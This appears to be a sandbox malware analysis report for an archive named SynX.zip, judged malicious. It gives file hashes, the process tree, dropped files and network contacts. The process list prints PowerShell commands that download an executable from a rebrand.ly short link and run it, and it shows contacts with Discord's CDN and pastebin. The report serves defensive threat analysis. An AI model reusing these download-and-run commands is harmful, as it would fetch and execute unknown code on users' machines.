File name: | SynX.zip |
Full analysis: | https://app.any.run/tasks/425cb080-02c5-4d39-b300-b3d06b264ac7 |
Verdict: | Malicious activity |
Analysis date: | May 14, 2019, 22:29:32 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | application/zip |
File info: | Zip archive data, at least v1.0 to extract |
MD5: | FB43EB87F2A5DF9C5C543539A14E9747 |
SHA1: | CA726E3D93AE4C4586C934FFBE4D723AD28604A9 |
SHA256: | B290BC27BC4A2698E30B19D53CA79B7E082E38597C702E5578E5C059B48F1338 |
SSDEEP: | 49152:+o/OREwNSSiHU3n4ga8Gki9XmT69nos4/M:Z/ORJcSXn4ga91mT69nJ2M |
.zip | | | ZIP compressed archive (100) |
---|
ZipFileName: | SynX/ |
---|---|
ZipUncompressedSize: | - |
ZipCompressedSize: | - |
ZipCRC: | 0x00000000 |
ZipModifyDate: | 2019:05:13 19:09:27 |
ZipCompression: | None |
ZipBitFlag: | - |
ZipRequiredVersion: | 10 |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2984 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\SynX.zip" | C:\Program Files\WinRAR\WinRAR.exe | explorer.exe | |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 | ||||
3608 | "C:\Users\admin\Desktop\SynX\BootStrapper.exe" | C:\Users\admin\Desktop\SynX\BootStrapper.exe | — | explorer.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
3476 | "C:\Windows\system32\cmd.exe" /c "C:\Users\admin\AppData\Local\Temp\2C3A.tmp\2C3B.tmp\2C3C.bat C:\Users\admin\Desktop\SynX\BootStrapper.exe" | C:\Windows\system32\cmd.exe | BootStrapper.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
1744 | powershell -Command "(New-Object Net.WebClient).DownloadFile('https://rebrand.ly/eonfsiudfhsiudfh', 'dfaoijf9weafd98asdfw9ae8sf.txt')" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3576 | powershell -Command "Invoke-WebRequest https://rebrand.ly/eonfsiudfhsiudfh -OutFile SynX.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2224 | SynX.exe | C:\Users\admin\Desktop\SynX\SynX.exe | cmd.exe | |
User: admin Integrity Level: MEDIUM Description: ShibaX Exit code: 0 Version: 1.0.0.0 | ||||
3016 | "C:\Windows\system32\taskmgr.exe" /4 | C:\Windows\system32\taskmgr.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Task Manager Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2984 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\BootStrapper.exe | executable | |
MD5:B36F7CE4DA9E1632B424B9C4ED00D081 | SHA256:9CE4827401DB6974F5781E8E306DC1EBDC1C60E2230665EBC358021F0FCE71D1 | |||
2984 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\dfaoijf9weafd98asdfw9ae8sf.txt | executable | |
MD5:AEA9AF5C06FE26BB7210362CB7D74DC0 | SHA256:7B7568D89D378F2E95A289EE8033A1C7D6ED572ED6ECBE66269F80EC2AF4A5F4 | |||
2984 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\Monaco\vs\basic-languages\fsharp\fsharp.js | text | |
MD5:DE122B3BC44A8714F386DC80282DCB12 | SHA256:1390079BABC117D3F376735780D98F409F317EB4628D17106642C6933EA1DA7F | |||
2984 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\Monaco\globalns.txt | text | |
MD5:BA56C14634B7AE6FB585BE396ACF5F03 | SHA256:5CB987E7C87F2F04CDD45F3A474FB2380BBF846534E38F2B485EAFC562B7B482 | |||
2984 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\Monaco\vs\basic-languages\coffee\coffee.js | text | |
MD5:9D0C4AC1691EED0A480C3E9246490D29 | SHA256:E706C9F8E5C5A0CB01B2F4E4879EC34A050D6EB2A8840284EB7BADD9D78099F9 | |||
2984 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\Monaco\vs\basic-languages\css\css.js | text | |
MD5:49AD30F1151CFD7A74677FDC6DD13DA9 | SHA256:BD331FD3BD2C37B0C3150035325F163AC9266BF6D942310764815E676D856D91 | |||
2984 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\Monaco\vs\basic-languages\cpp\cpp.js | text | |
MD5:0A16509E6CD0155FB622E785CFE976C7 | SHA256:A7C2BEA7CA3D9E203A3A286735945FE010C8F4F8D46620386EE8BEFC6A78B32B | |||
2984 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\Monaco\vs\basic-languages\markdown\markdown.js | text | |
MD5:CAF4799639D5DF40DFB1B979ED68AF9C | SHA256:EAAF453E0A9F9A604547E564A24E682503189CB9B85C87715BC9B5B6492B6F62 | |||
2984 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\Monaco\base.txt | text | |
MD5:0D834904A252E1AB786F9637BEF6819F | SHA256:DBE440C5DEE6367EBCA919886FFE593246E1E52618E4713373000C9FC77C87CC | |||
2984 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\Monaco\vs\basic-languages\handlebars\handlebars.js | text | |
MD5:3CA7CF83292B56444548F2914C0E1811 | SHA256:31D25588D120E7C79F3332FF3B3C794CEBD0554C7578E3BB37B3CAC366E4F6C2 |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
1744 | powershell.exe | 104.16.10.231:443 | cdn.discordapp.com | Cloudflare Inc | US | shared |
2224 | SynX.exe | 104.20.208.21:443 | pastebin.com | Cloudflare Inc | US | shared |
1744 | powershell.exe | 34.197.0.138:443 | rebrand.ly | Amazon.com, Inc. | US | unknown |
Domain | IP | Reputation |
---|---|---|
rebrand.ly |
| whitelisted |
cdn.discordapp.com |
| shared |
pastebin.com |
| shared |